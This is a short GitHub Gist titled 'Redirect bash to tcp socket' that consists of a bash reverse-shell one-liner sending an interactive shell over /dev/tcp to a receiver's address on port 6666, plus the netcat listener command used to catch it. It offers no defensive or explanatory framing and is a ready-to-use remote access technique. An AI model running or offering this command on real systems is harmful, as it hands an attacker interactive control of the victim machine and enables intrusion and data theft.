Created
September 12, 2017 08:46
-
-
Save chosenonehacks/d632fb25d5aeeb52765f672e1fbaa42f to your computer and use it in GitHub Desktop.
Redirect bash to tcp socket
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/bin/bash -i >& /dev/tcp/<ip.address.of.reciver>/6666 0>&1 | |
# then at receiver: | |
nc -l -n -v -p 6666 | |
# And wait for incoming bash shell |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment